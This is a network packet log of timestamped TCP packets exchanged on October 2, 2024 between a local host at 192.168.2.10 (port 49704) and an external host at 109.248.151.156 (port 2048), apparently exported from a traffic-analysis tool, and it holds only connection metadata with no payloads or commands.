Oct 2, 2024 05:23:21.080626965 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.080696106 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080708027 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080718040 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080728054 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080739021 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080749035 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.080750942 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080761909 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080776930 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.080791950 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.080828905 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080840111 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080849886 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080861092 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080873013 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080879927 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.080879927 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.080884933 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080919981 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.080971003 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080981970 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.080998898 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081010103 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081021070 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081022024 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081032991 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081043959 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081091881 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081137896 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081149101 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081173897 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081181049 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081192970 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081203938 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081216097 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081227064 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081240892 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081299067 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081309080 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081321001 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081352949 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081352949 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081396103 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081406116 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081412077 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081422091 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081428051 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081459999 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081460953 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081521988 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081532955 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081542969 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081552982 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081566095 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081577063 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081582069 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081582069 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081645966 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081653118 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081656933 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081669092 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081681013 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081685066 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081692934 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081703901 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081703901 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081738949 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081820965 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081831932 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081842899 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081854105 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081866026 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081875086 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081875086 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081877947 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081888914 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.081918955 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.081918955 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082000017 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082012892 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082024097 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082077026 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082088947 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082093000 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082098961 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082110882 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082119942 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082123041 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082135916 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082169056 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082170010 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082247972 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082257986 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082268000 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082278967 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082292080 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082300901 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082305908 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082314014 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082339048 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082370043 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082370043 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082447052 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082464933 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082518101 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082572937 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082602978 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082613945 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082624912 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082639933 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082694054 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082729101 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082739115 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082750082 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082762003 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082778931 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082798958 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082798958 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082822084 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082833052 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082844973 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082854986 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082879066 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082904100 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082916021 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082926989 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082937002 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.082962990 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.082983017 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.083008051 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.083019018 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.083029985 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.083041906 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.083064079 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.083065033 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.083127022 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.138484955 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.167263985 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167309999 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167324066 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167336941 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167351007 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167363882 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.167372942 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167404890 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167404890 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.167414904 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.167427063 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167438030 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167453051 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167490959 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.167490959 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.167495966 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167509079 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167537928 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167552948 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167565107 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167584896 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.167584896 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.167602062 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167639971 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.167680025 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167691946 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167737961 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167751074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167785883 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.167794943 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167808056 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167814016 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.167820930 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167834044 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167855024 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.167876005 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.167926073 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167938948 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167951107 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167963028 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167975903 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.167977095 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168035030 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168035030 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168047905 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168061972 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168075085 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168085098 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168113947 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168155909 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168168068 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168183088 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168194056 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168206930 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168216944 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168216944 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168240070 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168250084 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168252945 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168279886 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168306112 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168318987 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168378115 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168397903 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168410063 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168420076 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168432951 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168445110 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168447018 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168494940 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168550968 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168562889 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168575048 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168586016 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168596983 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168627977 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168627977 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168641090 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168643951 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168656111 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168721914 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168728113 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168740988 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168746948 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168759108 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168770075 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168787003 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168797970 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168797970 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168844938 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168845892 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168875933 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168885946 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168910027 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.168975115 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168987036 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.168998957 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169013023 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169038057 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169043064 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169054031 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169064999 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169075966 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169086933 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169095993 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169161081 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169190884 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169203043 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169214010 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169224977 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169235945 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169248104 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169248104 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169276953 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169331074 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169343948 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169354916 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169365883 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169385910 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169398069 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169399023 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169409037 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169416904 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169444084 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169533968 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169574976 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169599056 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169614077 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169647932 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169658899 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169672966 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169693947 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169693947 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169709921 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169723988 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169740915 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169751883 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169758081 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169764042 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169787884 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169819117 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169869900 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169920921 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169931889 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.169970989 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.169996977 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170007944 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170018911 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170039892 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.170064926 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.170136929 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170150042 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170160055 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170176983 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170211077 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.170211077 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.170231104 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170249939 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170263052 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170274019 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170284986 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.170351028 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.170376062 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170387030 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170398951 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170411110 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170423031 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.170449018 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.170511007 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170522928 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170533895 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170546055 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170557022 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.170561075 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170569897 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170604944 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.170604944 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.170663118 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170677900 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170685053 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170696974 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170707941 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.170721054 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.170734882 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.216546059 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.254868031 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.254889965 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.254910946 CEST	2048	49704	109.248.151.156	192.168.2.10
